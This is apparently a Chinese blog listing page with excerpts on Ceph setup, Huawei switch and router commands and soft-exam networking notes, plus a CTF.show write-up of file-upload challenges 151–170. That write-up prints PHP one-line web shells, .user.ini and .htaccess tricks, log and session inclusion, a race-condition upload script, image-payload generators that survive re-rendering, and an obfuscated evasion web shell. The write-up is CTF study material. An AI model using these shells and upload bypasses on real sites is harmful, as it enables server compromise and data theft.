-s创建OSD三个节点创建共享磁盘mkdir -p /opt/osd1 ssh ceph-node2 mkdir -p /opt/osd2 ssh ceph-node2 mkdir -p /opt/osd3在node1节点创建OSD节点ceph-deployosd prepare ceph-node1:/opt/osd1 ceph-node2:/opt/osd2 ceph-node3:/opt/osd3在node1激活节点ceph-deploy osd activate ceph-node1:/opt/osd1 ceph-node2:/opt/osd2 ceph-node3:/opt/osd3开放权限给其他节点,进行灾备处理ceph-deploy ceph-node1ceph集群运维ceph status # 查看安装状态 ceph -w # 查看健康状态 ceph quorum_status --format json-petty # 查看Ceph monitor仲裁状态 ceph mon dump # 导出Ceph monitor信息 ceph df # 检查集群使用状态 ceph mon stat # 检查Ceph monitor 状态 ceph osd stat # 检查OSD状态 ceph pg stat # 检查PG配置组状态
2021年11月12日
23 阅读
1 评论
0 点赞
2021-11-07
华为交换机&路由器命令
交换机配置VLAN配置交换机LSW8命令undo terminal monitor # 关闭配置提示 system-view # 进入系统视图 vlan batch 2 3 # 创建两个vlan interface GigabitEthernet 0/0/1 # 进入端口1 port link-type access # 设置端口为access模式 port default vlan 2 # 配置默认vlan quit #进入系统视图 interface GigabitEthernet 0/0/2 # 进入接口2,与1同理 # 方式1,通过hybrid interface Ethernet 0/0/3 # 进入接口3 port link-type hybrid # 配置为hybrid port hybrid tagged vlan 2 to 3 # 通过的vlan为2和3 #方式2,通过trunk clear configuration interface GigabitEthernet 0/0/3 #清除端口3的配置 port link-type trunk # 配置端口类型为trunk port trunk allow-pass vlan all # 允许通过所有的vlan基于mac地址进行vlan划分vlan 2 # 进入vlan mac-vlan mac-address xx-xx-xx-xx # 绑定mac与vlan interface GigabitEthernet 0/0/1 # 进入接口1 mac-vlan enable # 打开mac绑定vlanGVRP配置一种通用属性注册协议,包含GVRP和GMRP。GVRP类似于思科的VTP协议。undo terminal monitor # 关闭配置提示 system-view # 进入系统视图 vlan batch 2 3 # 创建两个vlan gvrp # 全局使能GVRP interface GigabitEthernet 0/0/1 gvrp # 配置接口使能GVRP gvrp registration normal # GVRP注册模式为normal display gvrp statistics # 查看GVRP统计信息STP配置根网桥配置 system-view stp mode stp # 运行stp stp root primary # 配置根网桥备份网桥设置 system-view stp root secondary # 配置备份网桥 stp pathcost-standard legacy # 配置路径开销算法边缘 interface GigabitEthernet 0/0/1 stp edged-port enable # 设置为边缘端口 stp bpdu-filter enable # 启用BPDU报文过滤LSW:根网桥 LSW13:备份网桥 LSW11-12:边缘路由器配置DHCP服务器配置system-view dhcp enable # 开启dhcp ip pool pool1 # 创建地址池 network 10.10.10.0 mask 255.255.255.0 # 配置地址池 gateway-list 10.10.10.1 # 设置网关 lease day 0 hour 6 minute 0 3 # 设置租约 interface Ethernet 0/0/1 # 配置接口 dhcp select global # 在接口全局启用dhcp excluded-ip-address 10.10.10.3 # 排除这个地址 static-bind ip-address 10.10.10.2 mac-address xxxxxxxxxx # mac绑定ipDHCP 服务器中继dhcp relay server-ip ip # 配置DHCP中继所连接的DHCP服务器地址静态路由配置ip route-static 目的IP 子网掩码 下一跳 ip route-static 0.0.0.0 0.0.0.0 10.10.10.2 # 默认路由 ip route-static 0.0.0.0 32 10.10.10.2 ip route-static 0.0.0.0 32 s0动态路由路由协议有 RIP、OSPF、BGP、其他RIP在系统视图先rip # 进入rip undo summary # 取消路由聚合功能 network 10.10.10.0 # 宣告直连 version 2 # rip版本 quit bfd # 启用bfd rip 1 # 进入rip1 bfd all-interfaces enable # 全网段使用bfd bfd all-interfaces min-tx-interval 100 min-rx-interval 100 detect-multiplier 10 # 配置rip最小发送,接受bfd报文间隔和检测倍数OSPFsystem-view router id 1.1.1.1 #设置router id ospf # 设置ospf area 0 # 设置区域 network 10.10.10.0 0.0.0.255 # 宣告直连网段 # 宣告邻接网段 area 1 network 192.168.0.0 0.0.0.255 # 宣告邻接网段重发布rip #进入rip import-route ospf 109 cost 10 # 重发布ospf,但是开销不能太大,因为rip很小 import-route static # 重发布静态路由 q ospf 109 # 进入ospf import-route rip 1 cost 200 ----------------------------------------------------------------------- [思科] router rip redistribute ospf 109 10 router ospf 109 redistribute rip metric 200边界网关路由协议BGPsystem-view interface GigabitEthernet 0/0/1 ip address 10.10.10.1 24 q bgp 65009 router-id 2.2.2.2 peer 10.10.10.2 as-number 65009 peer 2.3.4.2 as-number 65008system-view interface GigabitEthernet 0/0/1 ip address 2.3.4.2 bgp 65008 router-id 1.1.1.1 peer 2.3.4.4 as-number 65009 #配置对等体引入路由# bgp视图下 ipv4-family unicast VRRPsystem-view interface GigabitEthernet 0/0/1 ip address 10.10.10.2 24 vrrp vrid 10 virtual-ip 10.10.10.3 vrrp vrid 10 priority 200 vrrp vrid 10 preempt-mode timer delay 10
2021年11月07日
37 阅读
2 评论
0 点赞
2021-11-06
软考基本知识
压题密卷 在任何时候,一台主机有IP数据报文发送给另一台主机,它都要知道接收方的逻辑(IP)地址。但是IP地址必须封装成帧才能通过物理网络。这就意味着发送方必须有接收方的物理(MAC)地址,因此需要完成逻辑地址到物理地址的映射。而ARP协议可以接收来自IP协议的逻辑地址,将其映射为相应的物理地址,然后把物理地址递交给数据链路层。 任何时候,当主机需要找出这个网络中的另一个主机的物理地址时,它就可以发送一个ARP请求报文,这个报文包好了发送方的MAC地址和IP地址以及接收方的IP地址。因为发送方不知道接收方的物理地址,所以这个查询分组会在网络层中进行广播。(见图1) 局域网中的每一台主机都会接受并处理这个ARP请求报文,然后进行验证,查看接收方的IP地址是不是自己的地址,只有验证成功的主机才会返回一个ARP响应报文,这个响应报文包含接收方的IP地址和物理地址。这个报文利用收到的ARP请求报文中的请求方物理地址以单播的方式直接发送给ARP请求报文的请求方。(见图2) ARP报文的总长度为64字节。 ARP报文直接封装在数据链路帧中,例如,图4中,ARP分组被封装在以太网的帧中。注意,帧中的类型字段指出此帧所携带的数据是ARP报文。ARP请求ARP回复(1) 指令系统:RISC 设计者把主要精力放在那些经常使用的指令上,尽量使它们具有简单高效的特色。对不常用的功能,常通过组合指令来完成。因此,在RISC 机器上实现特殊功能时,效率可能较低。但可以利用流水技术和超标量技术加以改进和弥补。而CISC 计算机的指令系统比较丰富,有专用指令来完成特定的功能。因此,处理特殊任务效率较高。 (2) 存储器操作:RISC 对存储器操作有限制,使控制简单化;而CISC 机器的存储器操作指令多,操作直接。 (3) 程序:RISC 汇编语言程序一般需要较大的内存空间,实现特殊功能时程序复杂,不易设计;而CISC 汇编语言程序编程相对简单,科学计算及复杂操作的程序设计相对容易,效率较高。 (4) 中断:RISC 机器在一条指令执行的适当地方可以响应中断;而CISC 机器是在一条指令执行结束后响应中断。 (5) CPU:RISC CPU 包含有较少的单元电路,因而面积小、功耗低;而CISC CPU 包含有丰富的电路单元,因而功能强、面积大、功耗大。 (6) 设计周期:RISC 微处理器结构简单,布局紧凑,设计周期短,且易于采用最新技术;CISC 微处理器结构复杂,设计周期长。 (7) 用户使用:RISC 微处理器结构简单,指令规整,性能容易把握,易学易用;CISC微处理器结构复杂,功能强大,实现特殊功能容易。 (8) 应用范围:由于RISC 指令系统的确定与特定的应用领域有关,故RISC 机器更适合于专用机;而CISC 机器则更适合于通用机。 # 存在争议IIS(Internet Information Server,互联网信息服务)是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。本文将向你讲述Windows 2000高级服务器版中自带的IIS 5.0的配置和管理方法。2019 上2019 下2018上存储技术基础无线基础知识网络规划与设计知识产权计算机硬件软件部分交换机基础VPN配置
2021年11月06日
33 阅读
1 评论
0 点赞
2021-11-03
CTF show web入门之文件上传
web151前端会进行检测类型,随便找一个图片上传,burp抓包进行修改使用一句话木马上传,并同时传参获取flag<?php eval($_POST['shell']);?> payload:POST shell=system('tac ../????.???'); web152同151web153上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/防挂 https://www.cnblogs.com/l0nmar/p/14053889.html 当本目录下拥有.user.ini配置文件时,会首先识别里面的配置。也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。发现auto_append_file和auto_prepend_file一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。那么可以首先上传一个文件.user.ini,使得所有的文件都去包含下一个要上传的木马。然后上传一个带木马的图片,这样结合前面上传的配置文件可以使得所有的文件都带木马。再去利用这个木马去读取flag:shell=system('tac ../????.???'); auto_append_file="xxx" #.user.ini 配置文件 <?php #木马文件 phpinfo(); eval($_POST['shell']); ?>web154过滤了文件中的php,将php标签换为<?pHp即可web155修改标签为短标签即可绕过短标签:<? echo '123';?> 前提是开启配置参数short_open_tags=on<?=(表达式)?> 等价于 <?php echo (表达式)?> 不需要开启参数设置<% echo '123';%> 前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。<script language="php">echo '123'; </script> 在 php7.0 后已经不解析了。web156过滤了[],使用,进行替代,其他操作同155web157测试过滤了;和,可以转换思路,直接使文件包含读取flag命令的png文件。payload:<?=system('tac ../????.???')?>web158payload:<?=system('tac ../????.???')?>web 159又过滤了括号(),那就十使用票号,也就是反引号。会直接返回shell结果payload: <?=nl ../????.????>使用tac读取文件,返回会在界面直接显示。 使用nl读取文件,文件内容返回在注释里面web 160骚姿势,包含log绕过,因为log也被过滤了,所以payload:<?=include"/var/lo"."g/nginx/access.lo"."g"?> 。因为log会包含上传的ua,所以在ua后加上<?=tac ../????.????>,访问?/upload/index.php读取flagweb 161因为图片文件头会有标识,所以增加了对文件头的标识的检测,加上文件头即可:GIF89Aweb 162基础上又过滤了.。包含不了.log文件了,尝试包含session文件。# coding=utf-8 import io import requests import threading sessID = 'test' url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/' def write(session): while event.isSet(): f = io.BytesIO(b'a' * 256 * 1) response = session.post( url, cookies=, data=, files= ) def read(session): while event.isSet(): response = session.get(url + 'upload/index.php'.format(sessID)) if 'flag' in response.text: print(response.text) event.clear() else: print('[*]retrying...') if __name__ == '__main__': event = threading.Event() event.set() with requests.session() as session: for i in range(1, 30): threading.Thread(target=write, args=(session,)).start() for i in range(1, 30): threading.Thread(target=read, args=(session,)).start() web 163同162,直接包含/tmp/sess_testweb 164后端进行二次渲染 ,利用 imagecreatefrompng().png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html这个地方需要使用脚本进行二次渲染的绕过,生成一个木马内容为<?$_GET[0]($_POST[1]);?>,的脚本。上传后只需传参即可得到flag:使用bp抓包进行读取,不可使用Hackbar传参<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>web 165本题为jpg二次渲染绕过先随便上传一张jpg文件到服务器,再下载回来,php exp.php 1.jpg,再上传即可。然后POST传参:1=system("cat flag.php")。但是我失败了,图片上传成功,但是获取不到flagexp.php:<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>web 166前端限制了只能上传ZIP,那就上传一个zip文件包含一句话木马注意修改Content-Type为application/x-zip-compressed,然后使用奕剑连接或者直接POST参数获得flagweb167上传.htaccess文件 ,任意文件解析为php然后上传一个jpg文件包含一句话木马,连接这个木马获得flagpayload:<?php system($_POST[1]);>web168 基础免杀直接蚁剑生成免杀shell<?php // 使用时请删除此行, 连接密码: TyKPuntU ?> <?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>web 169-170使用日志包含。每次上传的UA头都会保存在日志里面,利用.user.ini包含日志文件,从而获得flag
2021年11月03日
39 阅读
1 评论
0 点赞
1
2
3
...
5